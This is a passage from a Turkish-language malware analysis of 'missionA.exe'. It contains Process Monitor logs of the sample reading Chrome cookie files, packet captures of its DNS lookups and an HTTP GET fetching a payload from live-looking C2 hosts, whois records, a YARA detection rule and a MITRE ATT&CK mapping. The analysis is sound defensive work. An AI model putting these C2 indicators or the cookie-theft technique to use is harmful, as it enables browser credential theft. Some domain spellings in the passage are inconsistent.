
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 83\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 84\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 85\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 86\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 87\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 88\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 89\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 90\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 91\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 92\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 93\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 94\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 95\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 96\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 97\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 98\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 99\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 100\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 101\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 102\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 103\Network\Cookies
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Profile 104\Network\Cookies

Aşağıdaki resimde de görüldüğü üzere zararlı default kullanıcının çerezlerini ele geçirdikten sonra **\Cokkies** ve **\adb38d1c53f65fae50fcee959e** dizinlerindeki dosyaları okuyup, yazmaktadır. Bu dizin tarayıcının kullanıcı profili için ağ yapılandırmalarını ve bazı ağla ilgili bilgileri içerir. Bu nedenle, zararlı bu bilgilere elde etmeyi amaçlamaktadır.

20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
20:34:...	missionA.exe	4648	WriteFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\adb38d1c53f65fae86e50fcee959e

20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
20:34:...	missionA.exe	4648	WriteFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\adb38d1c53f65fae86e50fcee959e
20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
20:34:...	missionA.exe	4648	WriteFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\adb38d1c53f65fae86e50fcee959e
20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
20:34:...	missionA.exe	4648	WriteFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\adb38d1c53f65fae86e50fcee959e
20:34:...	missionA.exe	4648	ReadFile	C:\Users\	\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Network Analizi

Wireshark ile yapılan ağ dinlemesi sonucu elde edilen .pcap dosyasında zararlının **103.100.211.218** IP adresine sahip olan **us.imgjeoigaa.com** subdomaine DNS isteği ve **http://us.imgjeoigaa.com/sts/imagc.jpg** adresindeki dosyaya GET isteği attığı görülmektedir.

No.	Time	Source	Destination	Protocol	Length	Info
1	2023/231 22:17:06.446405	192.168.58.131	192.168.58.2	NBNS	92	Name query NB WPAD<00>
2	2023/231 22:17:06.446545	192.168.58.131	192.168.58.2	DNS	77	Standard query 0xdf72 A us.imgjeoigaa.com
3	2023/231 22:17:06.452612	192.168.58.131	255.255.255.255	DHCP	342	DHCP Inform - Transaction ID 0xb8c24e0e
4	2023/231 22:17:06.452847	192.168.58.254	192.168.58.131	DHCP	342	DHCP ACK - Transaction ID 0xb8c24e0e
5	2023/231 22:17:06.456145	VMware_fa:a9:ca	Broadcast	ARP	60	Who has 192.168.58.131? Tell 192.168.58.2
6	2023/231 22:17:06.456166	VMware_d0:17:b5	VMware_fa:a9:ca	ARP	42	192.168.58.131 is at 00:0c:29:d0:17:b5
7	2023/231 22:17:06.456374	192.168.58.2	192.168.58.131	DNS	93	Standard query response 0xdf72 A us.imgjeoigaa.com A 103.100.211.218

> Frame 7: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface \Device\NPF_{63ED41FD-A13C-4A0F-BEEA-34284152682D}, id 0
> Ethernet II, Src: VMware_fa:a9:ca (00:50:56:fa:a9:ca), Dst: VMware_d0:17:b5 (00:0c:29:d0:17:b5)
> Internet Protocol Version 4, Src: 192.168.58.2, Dst: 192.168.58.131
> User Datagram Protocol, Src Port: 53, Dst Port: 60515
▼ Domain Name System (response)
Transaction ID: 0xdf72
> Flags: 0x8180 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
▼ Queries
> us.imgjeoigaa.com: type A, class IN
▼ Answers
> us.imgjeoigaa.com: type A, class IN, addr 103.100.211.218
[\[Request In: 2\]](#)
[Time: 0.009829000 seconds]

8	2023/231 22:17:06.457796	192.168.58.131	103.100.211.218	TCP	66	49721 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
10	2023/231 22:17:06.686323	192.168.58.131	103.100.211.218	TCP	54	49721 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
11	2023/231 22:17:06.686447	192.168.58.131	103.100.211.218	HTTP	157	GET /sts/imagc.jpg HTTP/1.1
19	2023/231 22:17:06.913319	192.168.58.131	103.100.211.218	TCP	54	49721 → 80 [ACK] Seq=104 Ack=8713 Win=64240 Len=0
24	2023/231 22:17:06.917338	192.168.58.131	103.100.211.218	TCP	54	49721 → 80 [ACK] Seq=104 Ack=14521 Win=64240 Len=0

> Frame 11: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits) on interface \Device\NPF_{63ED41FD-A13C-4A0F-BEEA-34284152682D}, id 0
> Ethernet II, Src: VMware_d0:17:b5 (00:0c:29:d0:17:b5), Dst: VMware_fa:a9:ca (00:50:56:fa:a9:ca)
> Internet Protocol Version 4, Src: 192.168.58.131, Dst: 103.100.211.218
> Transmission Control Protocol, Src Port: 49721, Dst Port: 80, Seq: 1, Ack: 1, Len: 103
▼ Hypertext Transfer Protocol
> GET /sts/imagc.jpg HTTP/1.1\r\n
User-Agent: HTTPREAD\r\n
Host: us.imgjeoigaa.com\r\n
Cache-Control: no-cache\r\n
\r\n
[\[Full request URI: http://us.imgjeoigaa.com/sts/imagc.jpg\]](#)
[HTTP request 1/1]
[\[Response in frame: 1192\]](#)

Daha sonrasında, zararlı **154.221.26.108** IPli **app.nnnaajjgc.com** adresine DNS talebinde bulunmuştur.

No.	Time	Source	Destination	Protocol	Length	Info
1246	2023/231 22:18:13.065016	103.100.211.218	192.168.58.131	TCP	60	80 → 49721 [FIN, PSH, ACK] Seq=1508300 Ack=104 Win=64240 Len=0
1250	2023/231 22:18:17.675371	154.221.26.108	192.168.58.131	TCP	60	80 → 49724 [RST, ACK] Seq=1 Ack=1 Win=64240 Len=0
1256	2023/231 22:18:43.694313	192.168.58.2	192.168.58.131	DNS	94	Standard query response 0xf02e A app.nnnaajjgc.com A 154.221.26.108
1258	2023/231 22:18:43.702740	154.221.26.108	192.168.58.131	TCP	60	80 → 49726 [RST, ACK] Seq=1 Ack=1 Win=64240 Len=0
1270	2023/231 22:18:56.567186	103.100.211.218	192.168.58.131	TCP	60	80 → 49721 [ACK] Seq=1508301 Ack=105 Win=64239 Len=0
1273	2023/231 22:19:04.744320	154.221.26.108	192.168.58.131	TCP	60	80 → 49727 [ACK] Seq=1 Ack=1 Win=64240 Len=0

> Frame 1256: 94 bytes on wire (752 bits), 94 bytes captured (752 bits) on interface \Device\NPF_{63ED41FD-A13C-4A0F-BEEA-34284152682D}, id 0
> Ethernet II, Src: VMware_fa:a9:ca (00:50:56:fa:a9:ca), Dst: VMware_d0:17:b5 (00:0c:29:d0:17:b5)
> Internet Protocol Version 4, Src: 192.168.58.2, Dst: 192.168.58.131
> User Datagram Protocol, Src Port: 53, Dst Port: 60095
▼ Domain Name System (response)
Transaction ID: 0xf02e
> Flags: 0x8180 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
▼ Queries
> app.nnnaajjgc.com: type A, class IN
▼ Answers
> app.nnnaajjgc.com: type A, class IN, addr 154.221.26.108
Name: app.nnnaajjgc.com
Type: A (Host Address) (1)
Class: IN (0x0001)
Time to live: 5 (5 seconds)
Data length: 4
Address: 154.221.26.108
[\[Request In: 1255\]](#)
[Time: 0.004873000 seconds]

Bu IP adreslerine ve domainlere ait whois sorgusu yapılmıştır. Elde edilen bilgiler sonucunda bu adreslerin Hong Kong ve Seychelles ülkelerinden olduğu tespit edilmiştir.

```
inetnum:      154.221.26.0 - 154.221.26.255
netname:      Guangzhou_Yisu_Cloud_Limited
descr:        Guangzhou Yisu Cloud Limited
country:      HK
admin-c:      CIS1-AFRINIC
tech-c:       CIS1-AFRINIC
status:       ASSIGNED PA
mnt-by:       CIL1-MNT
source:       AFRINIC # Filtered
parent:       154.192.0.0 - 154.223.255.255

person:       Cloud Innovation Support
address:      Ebene
address:      MU
address:      Mahe
address:      Seychelles
phone:        tel:+248-4-610-795
nic-hdl:      CIS1-AFRINIC
abuse-mailbox: abuse@cloudinnovation.org
mnt-by:       CIL1-MNT
source:       AFRINIC # Filtered
```

```
irt:          IRT-YISUCLOUDLTD-HK
address:      10/F,WORLD PEACE CENTRE,41-55,WO TONG TSUI ST,KWAI CHUNG ,HK, HONG KONG
e-mail:       lph@yisu.com
abuse-mailbox: lph@yisu.com
admin-c:      YCLA1-AP
tech-c:       YCLA1-AP
auth:         # Filtered
remarks:      lph@yisu.com
remarks:      lph@yisu.com is invalid
mnt-by:       MAINT-YISUCLOUDLTD-HK
last-modified: 2023-05-10T13:08:35Z
source:       APNIC

organisation: ORG-YCL1-AP
org-name:     YISU CLOUD LIMITED
country:      HK
address:      10/F,WORLD PEACE CENTRE,41-55,WO TONG TSUI ST,KWAI CHUNG ,HK
phone:        +852-39992963
e-mail:       LPH@YISU.COM
mnt-ref:      APNIC-HM
mnt-by:       APNIC-HM
last-modified: 2022-11-01T12:56:05Z
source:       APNIC
```

Yara Kuralı

```
import "hash"

rule MissionA
{
    meta:
        description="missionA.exe"
        author="Akif Inan Yigit"

    strings:
        $a1 = "SOFTWARE\\Microsoft\\Windows\\Tablet PC"
        $a2 = "SOFTWARE\\Policies\\Microsoft\\TabletPC"
        $a3 = "Software\\Clients\\Mail\\"
        $a4 = "Software\\Microsoft\\Windows\\TabletPC\\Snipping Tool"
        $a5 = "Software\\Microsoft\\WISP\\PEN\\SysEventParameters"
        $a6 = "Software\\Microsoft\\Windows\\TabletPC\\Snipping Tool\\LinkFingerprints"
        $a7 = "mshelp://Windows/?id=1337CDBA-52A2-4704-AD4D-2D7BACE605B4"
        $a8 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\\r\\n<!--
Copyright (c) Microsoft Corporation -->\\r\\n<assembly xmlns=\"urn:sche
$a9 = \"{CDCC3C6A-53FE-4cee-9F03-597C4E5A4892}\"
$a10 = \"{FFADD4B1-76C6-4044-9B4E-10AE6009EB82}\"
$a11 = "SnippingToolLicensing-Enabled"
$a12 = "DisableSnippingTool"
$a13 = "Microsoft-Windows-TabletPC-SnippingTool-InitializingMutex"
$a14 = "AccessibleObjectFromWindow"
$a15 = "GetTraceLoggerHandle"
$a16 = "103.100.211.218"
$a17 = "us.imgjeoigaa.com"
$a18 = "154.221.26.108"
$a19 = "app.nnaajjjgc.com"
$a20 = "http://app.nnaajjjgc.com/check/?sid="

    condition:
        hash.md5(0,filesize) == "0489D588CFE0DF896215AB7B5520895C" or all of them
}
```

MITRE Attack Tablosu

<i>Credential Access</i>	<i>Execution</i>	<i>Persistence</i>	<i>Discovery</i>	<i>Privilege Escalation</i>	<i>Defense Evasion</i>	<i>C&C</i>	<i>Exfiltration</i>	<i>Collection</i>
<i>T-1003 OS Credential Dumping</i>			<i>T-1012 Query Registry</i>	<i>T-1036 Masquerading</i>		<i>T-1071.0 01 Web Protocols</i>	<i>T-1113 Snap Capture</i>	<i>T-1115 Clipboard Data</i>
			<i>T-1124 System Time Discovery</i>					<i>T-1005 Data from Local System</i>
			<i>T-1083 File & Directory Discovery</i>					